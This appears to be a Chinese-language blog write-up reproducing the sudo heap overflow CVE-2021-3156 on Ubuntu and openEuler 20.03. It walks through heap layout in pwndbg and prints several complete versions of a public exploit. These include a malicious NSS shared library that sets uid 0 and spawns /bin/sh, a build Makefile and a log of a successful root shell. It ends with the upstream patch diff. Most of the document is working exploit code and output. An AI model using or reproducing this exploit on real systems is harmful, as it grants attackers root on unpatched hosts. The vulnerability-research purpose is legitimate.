这里需要注意的一个问题就是,在进行环境变量加载的过程中会对于每一个不同size的堆块,都会释放一个size+0x10大小的堆块,这是路径拼接造成的。但是相同size大小的会复用同一个堆块,因此在tcache中不同size大小的堆块只会额外产生1size+0x10大小的堆块。需要注意的是对于size比较小的堆块,由于getlocale中堆块的申请比较多,因此可能会被申请回去,目前可以肯定的是对于0x80或者大于0x80的附加堆块会保存在tcache中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555582580 (size : 0x1da80)
last_remainder: 0x5555555814b0 (size : 0xf90)
unsortbin: 0x5555555814b0 (size : 0xf90)
(0x20) tcache_entry[0](1): 0x5555555814a0
(0x40) tcache_entry[2](3): 0x55555557ff40 --> 0x555555580620 --> 0x555555581380// group files
(0x70) tcache_entry[5](1): 0x555555580cb0 // 环境变量释放产生的0x70堆块
(0x80) tcache_entry[6](1): 0x555555580a90 // user_args堆块,是附加堆块
(0x1e0) tcache_entry[28](1): 0x55555557f2a0
(0x410) tcache_entry[63](1): 0x55555557f500

这里由于ubuntu 20.04下面我在调试的时候execve执行之后sudo main函数执行之前就会有一个0x80的堆块,不知道什么原因,因此这里直接释放0x80的堆块会有问题,因此这里我是用附加堆块来实现0x80大小的堆块的效果。

拿到上述的堆布局之后就可以将user_args长度设置为0x80,申请得到0x555555580a90堆块,之后就可以覆写0x555555581380group files service_user结构体了。

这里需要注意的是在溢出的时候不能溢出group files太多,会直接覆写到service_table也就是上面那个0x20大小的堆块,应该是在最后一次参数拷贝的时候恰好覆写到service_user结构体的name字段。不多覆写。

这里我们看到堆块之间的差值是0x8f0,我们需要覆写这些长度。中间这些堆块都是在进行setlocale中产生的,对之后的程序进行没有影响,可以直接覆写。根据之前溢出的规则,遇到\\\\就会继续向后读。目前exp中参数设置如下

1
2
"sudoedit", "-s", smash_a, "\\\\", smash_b, NULL, envp

参数和环境变量在内存中的表现方式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// argv->0x7ffc304d1a18
pwndbg> telescope 0x7ffc304d1a18
00:0000│ rdx 0x7ffc304d1a18 —▸ 0x7ffc304d1df6 ◂— 'sudoedit'
01:0008│ 0x7ffc304d1a20 —▸ 0x7ffc304d1dff ◂— 0x414141414100732d /* '-s' */
02:0010│ 0x7ffc304d1a28 —▸ 0x7ffc304d1e02 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\'
03:0018│ 0x7ffc304d1a30 —▸ 0x7ffc304d1e3c ◂— 0x424242424242005c /* '\\\\' */
04:0020│ 0x7ffc304d1a38 —▸ 0x7ffc304d1e3e ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\\\'
05:0028│ 0x7ffc304d1a40 ◂— 0x0
06:0030│ 0x7ffc304d1a48 —▸ 0x7ffc304d1e76 ◂— 0x5c005c005c005c /* '\\\\' */
07:0038│ 0x7ffc304d1a50 —▸ 0x7ffc304d1e78 ◂— 0x5c005c005c005c /* '\\\\' */
//...
pwndbg>
40:0200│ 0x7ffc304d1c18 —▸ 0x7ffc304d1eea ◂— 0x5c005c005c005c /* '\\\\' */
41:0208│ 0x7ffc304d1c20 —▸ 0x7ffc304d1eec ◂— 0x5c005c005c005c /* '\\\\' */
42:0210│ 0x7ffc304d1c28 —▸ 0x7ffc304d1eee ◂— 0x2f58005c005c005c /* '\\\\' */
43:0218│ 0x7ffc304d1c30 —▸ 0x7ffc304d1ef0 ◂— 0x30502f58005c005c /* '\\\\' */
44:0220│ 0x7ffc304d1c38 —▸ 0x7ffc304d1ef2 ◂— 0x5f5030502f58005c /* '\\\\' */
45:0228│ 0x7ffc304d1c40 —▸ 0x7ffc304d1ef4 ◂— 'X/P0P_SH3LLZ_'
46:0230│ 0x7ffc304d1c48 —▸ 0x7ffc304d1f02 ◂— 0x433d4c4c415f434c ('LC_ALL=C')
47:0238│ 0x7ffc304d1c50 ◂— 0x0

需要注意的是栈中每一个参数的结尾依靠的是\\\\。首先第一次复制,遇到\\\\会将\\\\, smash_b, envp拷贝一遍,然后是第二次复制,参数即为\\\\因此会将smash_b,envp拷贝一遍,接着是smash_b,由于smash_b之后也是\\\\,因此会一直继续拷贝,也就是将envp拷贝了一遍。借着就结束拷贝了。也就是说smash_b,envp都被拷贝了三遍,smash_a被拷贝了一遍。注意到每一次拷贝结束都会在结尾处加space即空格(最后一个空格会被覆写为0)。在设定smash_a,smash_b,envp的长度的时候基本就是user_args/2即为smash_a,smash_b的值,剩余的值/3就是envp的长度,不够的话再用smash_a的长度进行微调。

当我们覆写完毕group service_user结构体的name字段之后,sudo会经过一系列的调用直到nss_load_library最终打开getshell的动态链接库。

关于动态链接库编译有无空格的问题,如果是精准覆写name,那么就不需要空格,因为之后会被覆写为0,否则就需要空格。

CVE-2021-3156%20sudo%20heap-based%20bufoverflow%20%E5%A4%8D%E7%8E%B0&%E5%88%86%E6%9E%90%20f65c00b177cf4be1b02b394f2a54fb87/Untitled%201.png

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/**
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 0x1000

typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;

char *lc_names[]={
"LC_COLLATE",
"LC_CTYPE",
"LC_MONETARY",
"LC_NUMERIC",
"LC_TIME",
"LC_MESSAGES",
"LC_PAPER",
"LC_NAME",
"LC_ADDRESS",
"LC_TELEPHONE",
"LC_MEASUREMENT",
"LC_IDENTIFICATION"
};

target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 58,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 0x30
// .lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 58,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};

void usage(char *prog) {
printf(" usage: %s <target>\\n\\n", prog);
printf(" available targets:\\n");
printf(" ------------------------------------------------------------\\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\\n");
printf("\\n");
}

int main(int argc, char *argv[]) {
printf("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n");

if (argc != 2) {
usage(argv[0]);
return -1;
}

int target_idx = atoi(argv[1]);

if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\\n");
return -1;
}

target_t *target = &targets[ target_idx ];

printf("using target: '%s'\\n", target->target_name);

char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);

memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);

smash_a[target->smash_len_a] = '\\\\';
smash_b[target->smash_len_b] = '\\\\';

char *s_argv[]={
// "sudoedit", "-s", smash_a, "\\\\", NULL
// "sudoedit", "-s", smash_a, NULL
"sudoedit", "-s", smash_a, "\\\\", smash_b, NULL
};

char *s_envp[MAX_ENVP];
int envp_pos = 0;

for(int i = 0; i < (0x2b6); i++) {
s_envp[envp_pos++] = "\\\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

int lc_len = 0x20;
int lc_num = 2;

int i = 0;
char *temp=NULL;

for(i = 11; i > (11 - lc_num); i--){
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
}
temp = calloc(0x50 + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x50);
s_envp[envp_pos++] = temp;

i -= 1;
// temp = calloc(0x60 + strlen(lc_names[i]) + 10, 1);
// strcpy(temp, lc_names[i]);
// strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
// memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x60);
// s_envp[envp_pos++] = temp;
//
// i -= 1;

temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
i-=1;

temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=XXXXXXXX");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;

s_envp[envp_pos++] = NULL;

printf("** pray for your rootshell.. **\\n");

execve(target->sudoedit_path, s_argv, s_envp);
// execve(target->sudoedit_path, s_argv, NULL);
return 0;
}

这里的exp与原始的exp不同,原始的exp是用LC_ALL此时会在sudo_conf_read函数中调用setlocale(LC_ALL, "C"),setlocale(LC_ALL, prev_locale)会申请和释放大量的堆块,此时也会释放_nl_global_locale.__names中保存的堆块地址其实就是newnames中的堆块地址也就是存储我们环境变量值的堆块,通过释放大量的0xf0堆块进入unsorted bin,然后再申请0x20的时候,制造一个0xd0大小的small bin。此时还会有一个unsorted bin,由于在get_user_info会申请一个0x80,0x1000的堆块,此时small bin,unsorted bin会互换位置,也就是0x80大小的堆块和group files service_user会在unsorted bin相邻的位置申请,非常的巧妙。

初始的explibMakefile如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
//hax.c
/**
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512

typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;

target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};

void usage(char *prog) {
printf(" usage: %s <target>\\n\\n", prog);
printf(" available targets:\\n");
printf(" ------------------------------------------------------------\\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\\n");
printf("\\n");
}

int main(int argc, char *argv[]) {
printf("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n");

if (argc != 2) {
usage(argv[0]);
return -1;
}

int target_idx = atoi(argv[1]);

if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\\n");
return -1;
}

target_t *target = &targets[ target_idx ];

printf("using target: '%s'\\n", target->target_name);

char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);

memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);

smash_a[target->smash_len_a] = '\\\\';
smash_b[target->smash_len_b] = '\\\\';

char *s_argv[]={
"sudoedit", "-s", smash_a, "\\\\", smash_b, NULL
};

char *s_envp[MAX_ENVP];
int envp_pos = 0;

for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

char *lc_all = calloc(target->lc_all_len + 16, 1);
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);

s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;

printf("** pray for your rootshell.. **\\n");

execve(target->sudoedit_path, s_argv, s_envp);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//lib.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}

1
2
3
4
5
6
7
8
all:
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
clean:
rm -rf libnss_X sudo-hax-me-a-sandwich

For open euler 20.03

系统类似于centos,我们看一下/etc/nsswitch.conf即配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
passwd:      sss files systemd
shadow: files sss
group: sss files systemd

hosts: files dns myhostname

bootparams: files

ethers: files
netmasks: files
networks: files
protocols: files
rpc: files
services: files sss

netgroup: sss

publickey: files

automount: files sss
aliases: files

可以看到这里的顺序和服务规范和ubuntu下面不一样,因此这里的堆布局与ubuntu也不相同。我们先看一下系统的调用逻辑是否发生了改变。经过调试发现其调用逻辑与ubuntu下相同

我们将ni结构体手动修改如下

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p *ni
$4 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},
library = 0x555555582be0,
known = 0x555555592b30,
name = 0x5555555861a0 "X/P0P_SH3LLZ_ "
}
pwndbg> p shlib_name
$5 = 0x7fffffffdeb0 "libnss_X/P0P_SH3LLZ_ .so.2"

图片无法显示,请联系作者

经过手动修改的ni结构体,这里继续执行就会getshell

1
2
3
4
5
6
7
8
pwndbg> c
Continuing.
[+] bl1ng bl1ng! We got it!
process 123212 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 2: No source file named sudo.c.
Error in re-setting breakpoint 3: No source file named sudo.c.
Error in re-setting breakpoint 4: No source file named sudo.c.

那么接下来的问题就是如何复习这个结构体了,与ubuntu覆写files service_user不同,这里需要覆写的是sss service_user结构体,但是两者没有本质的区别都是group的第一个结构体,唯一不同的就是分配到group服务规范的结构体之前get_user_info所分配的堆块的数量,我们调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
malloc(0x100)
malloc(0x400)
malloc(0x228) // tcache
malloc(0x10)
malloc(0x78)// 目标0x80堆块
malloc(0x1000)
malloc(0x17) // 开始为passwd分配service_user // tcache
malloc(0x34)
malloc(0x36)
malloc(0x38)
malloc(0x17) // 开始为shadow分配service_user
malloc(0x36)
malloc(0x34)
malloc(0x16)// 开始为group分配service_user
malloc(0x34)// 这里就是sss service_user的结构体

这里我们需要提前布置60x40大小的堆块,和一个0xc0大小的堆块(这里布置0x80的堆块不合适,因为之后会被申请并更换为高地址的0x80堆块,经过测试0xc0大小的堆块可以。)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
/**
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 0x1000

typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;

char *lc_names[]={
"LC_COLLATE",
"LC_CTYPE",
"LC_MONETARY",
"LC_NUMERIC",
"LC_TIME",
"LC_MESSAGES",
"LC_PAPER",
"LC_NAME",
"LC_ADDRESS",
"LC_TELEPHONE",
"LC_MEASUREMENT",
"LC_IDENTIFICATION"
};

target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 0x53,
.smash_len_b = 0x54,
.null_stomp_len = 63,
.lc_all_len = 0x30
// .lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/local/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
},
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 0x53,
.smash_len_b = 0x54,
.null_stomp_len = 0x185,
.lc_all_len = 0xa0
// .lc_all_len = 212
},
};

void usage(char *prog) {
printf(" usage: %s <target>\\n\\n", prog);
printf(" available targets:\\n");
printf(" ------------------------------------------------------------\\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\\n");
printf("\\n");
}

int main(int argc, char *argv[]) {
printf("\\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\\n\\n");

if (argc != 2) {
usage(argv[0]);
return -1;
}

int target_idx = atoi(argv[1]);

if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\\n");
return -1;
}

target_t *target = &targets[ target_idx ];

printf("using target: '%s'\\n", target->target_name);

char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);

memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);

smash_a[target->smash_len_a] = '\\\\';
smash_b[target->smash_len_b] = '\\\\';

char *s_argv[]={
// "sudoedit", "-s", smash_a, "\\\\", NULL
// "sudoedit", "-s", smash_a, NULL
"sudoedit", "-s", smash_a, "\\\\", smash_b, NULL
};

char *s_envp[MAX_ENVP];
int envp_pos = 0;

for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

int lc_len = 0x20;
int lc_num = 0x5;

int i = 0;
char *temp=NULL;

for(i = 11; i > (11 - lc_num); i--){
temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
}
temp = calloc(target->lc_all_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, target->lc_all_len);
s_envp[envp_pos++] = temp;

i -= 1;
// temp = calloc(0x60 + strlen(lc_names[i]) + 10, 1);
// strcpy(temp, lc_names[i]);
// strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
// memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x60);
// s_envp[envp_pos++] = temp;
//
// i -= 1;

temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;
i-=1;

if (target_idx == 3){
temp = calloc(0xd0 + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0xd0);
s_envp[envp_pos++] = temp;

i -= 1;
}

temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1);
strcpy(temp, lc_names[i]);
strcpy(temp + strlen(lc_names[i]), "=XXXXXXXX");
memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len);
s_envp[envp_pos++] = temp;

s_envp[envp_pos++] = NULL;

printf("** pray for your rootshell.. **\\n");

execve(target->sudoedit_path, s_argv, s_envp);
// execve(target->sudoedit_path, s_argv, NULL);
return 0;
}

1
2
3
4
5
6
7
8
9
10
[normal@172 CVE-2021-3156_blasty]$ ./sudo-hax-me-a-sandwich 3

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'openEuler release 20.03 (LTS) - sudo 1.8.27, libc-2.28'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
sh-5.0# exit
exit

Patch

sudo: 049ad90590be

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
--- a/plugins/sudoers/sudoers.c	Sat Jan 23 08:43:59 2021 -0700
+++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700
@@ -547,7 +547,7 @@

/* If run as root with SUDO_USER set, set sudo_user.pw to that user. */
/* XXX - causes confusion when root is not listed in sudoers */
- if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {
if (user_uid == 0 && strcmp(prev_user, "root") != 0) {
struct passwd *pw;

@@ -932,8 +932,8 @@
if (user_cmnd == NULL)
user_cmnd = NewArgv[0];

- if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {
+ if (!ISSET(sudo_mode, MODE_EDIT)) {
const char *runchroot = user_runchroot;
if (runchroot == NULL && def_runchroot != NULL &&
strcmp(def_runchroot, "*") != 0)
@@ -961,7 +961,8 @@
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
- if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
+ if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&
+ ISSET(sudo_mode, MODE_RUN)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
@@ -969,10 +970,22 @@
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
- if (from[0] == '\\\\' && !isspace((unsigned char)from[1]))
+ if (from[0] == '\\\\' && from[1] != '\\0' &&
+ !isspace((unsigned char)from[1])) {
from++;
+ }
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = *from++;
}
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = ' ';
}
*--to = '\\0';

patch检查了参数是否以反斜杠结尾,并在拷贝过程中对溢出进行了检测。

补充

针对利用1,我调试了一下发现没有进入process_hooks_getenv的路径,看源码分析,github中的exp执行的是SUDO_EDITOR,从源码中来看应该是位于find_editor函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *whitelist, const char **env_editor, bool env_error)
{
char *ev[3], *editor_path = NULL;
unsigned int i;
debug_decl(find_editor, SUDOERS_DEBUG_UTIL)

/*
* If any of SUDO_EDITOR, VISUAL or EDITOR are set, choose the first one.
*/
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);
//...
}

而该函数在申请完user_args堆块之后的调用发现只有一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Require a password if sudoers says so.  */
switch (check_user(validated, sudo_mode)) {
case true:
/* user authenticated successfully. */
break;
case false:
/* Note: log_denial() calls audit for us. */
if (!ISSET(validated, VALIDATE_SUCCESS)) {
/* Only display a denial message if no password was read. */
if (!log_denial(validated, def_passwd_tries <= 0))
goto done;
}
goto bad;
default:
/* some other error, ret is -1. */
goto done;
}
//...
free(safe_cmnd);
safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
&edit_argv, NULL, &env_editor, false);

但是该函数的调用是位于check_user函数之后的,该函数经过调试发现需要满足两个条件,一个是密码输入正确,另一个就是用户需要在sudo列表中,但是满足这个条件的话就不要提权了。

原文章中写的环境变量为SYSTEMD_BYPASS_USERDB,搜索了一下该环境变量是位于systemd中,不知道怎么发生调用。所以现在卡住了。

参考

区域设置

Sudo Heap-Based Buffer Overflow

CVE-2021-3156 PoC